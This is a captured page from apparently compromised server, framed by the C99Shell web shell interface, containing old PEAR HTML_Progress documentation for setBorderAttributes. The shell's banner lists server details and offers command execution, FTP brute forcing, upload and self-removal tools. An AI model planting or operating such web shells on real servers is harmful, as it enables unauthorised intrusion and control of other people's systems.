!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/HTML_Progress/docs/TDG/HTML_Progress/   drwxr-xr-x
Free 13.06 GB of 61.93 GB (21.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tutorial_ui.setborderattributes.pkg.html (10.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
HTML_Progress_UI::setBorderAttributes
HTML_Progress
[ class tree: HTML_Progress ] [ index: HTML_Progress ] [ all elements ]
Prev Next
HTML_Progress_UI::setBorderAttributes
defines look and feel of the progress bar border

Synopsis

require_once 'HTML/Progress/UI.php';

void HTML_Progress_UI::setBorderAttributes( mixed $attributes)

Description

This method is used to give a look and feel, such as size, style and color, to the border of a progress meter.

$attributes is an associative array or string of HTML tag attributes.

Parameter

    mixed $attributes
  • the new border attributes of the progress meter.

    Key-values allowed are:

    Attribute Format Default value
    class string progressBarBorder
    width integer 0
    style string solid
    color string #000000

Note

( HTML_Progress >= 1.0 )

This function can not be called statically.

You may also used an existing StyleSheet and a CSS class-selector with pre-defined style. For example:

  1. <?php
  2. require_once 'HTML/Progress.php';
  3.  
  4. $bar = new HTML_Progress();
  5. // specify a user-ident (instead of the auto-generated value)
  6. $bar->setIdent('PB1');
  7.  
  8. $ui =& $bar->getUI();
  9. $ui->setBorderAttributes('class="myProgressBorder"');
  10. ?>
could be replaced by:

<style type="text/css">
<!--
.PB1 .myProgressBar { border: 3px dotted #0000FF; }
// -->
</style>

See

HTML_Progress_UI::getBorderAttributes, HTML_Progress::setBorderPainted

Example

Example below will produced a progress bar with a solid navy border. It's a static example, the progress bar will not run.

  1. <?php
  2. require_once 'HTML/Progress.php';
  3.  
  4. $bar = new HTML_Progress();
  5. $bar->setBorderPainted(true);
  6.  
  7. $ui =& $bar->getUI();
  8. $ui->setCellAttributes('active-color=#3874B4 inactive-color=#EEEECC width=10');
  9. $ui->setBorderAttributes('width=1 color=navy');
  10. $ui->setStringAttributes('width=60 font-size=14 background-color=#EEEEEE');
  11. ?>
  12. <!DOCTYPE html
  13. PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  14. "http://www.w3c.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  15.  
  16. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
  17. <head>
  18. <title>setBorderAttributes example </title>
  19. <style type="text/css">
  20. <!--
  21. <?php echo $bar->getStyle(); ?>
  22. // -->
  23. </style>
  24. <body>
  25.  
  26. <?php echo $bar->toHtml(); ?>
  27.  
  28. </body>
  29. </html>

Prev Up Next
HTML_Progress_UI::getBorderAttributes Reference Guide HTML_Progress_UI::getStringAttributes

Documentation generated on Sun, 12 Sep 2004 20:23:26 +0200 by phpDocumentor 1.3.0RC3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5439 ]--